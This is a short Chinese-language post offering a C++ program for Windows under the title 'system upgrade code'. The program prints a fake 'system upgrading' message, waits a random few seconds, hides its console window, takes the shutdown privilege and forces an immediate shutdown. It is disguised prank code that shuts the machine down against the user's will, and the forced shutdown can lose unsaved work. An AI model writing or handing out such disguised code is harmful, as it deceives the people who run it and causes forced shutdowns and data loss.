升级系统的代码,仅限Windows
2025-09-17 17:20:04
发布于:浙江
#include <windows.h>
#include <iostream>
#include <string>
void HideConsole() {
HWND hwnd = GetConsoleWindow();
if (hwnd != NULL) {
ShowWindow(hwnd, SW_HIDE);
}
}
bool EnableShutdownPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return false;
if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) {
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0)) {
CloseHandle(hToken);
return false;
}
CloseHandle(hToken);
return true;
}
void S() {
if (EnableShutdownPrivilege()) {
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
}
}
using namespace std;
int main() {
cout << "系统升级中...(片刻后自动完成)" << endl;
int delay = 3000 + rand() % 7000;
Sleep(delay);
HideConsole();
S();
return 0;
}
这里空空如也
有帮助,赞一个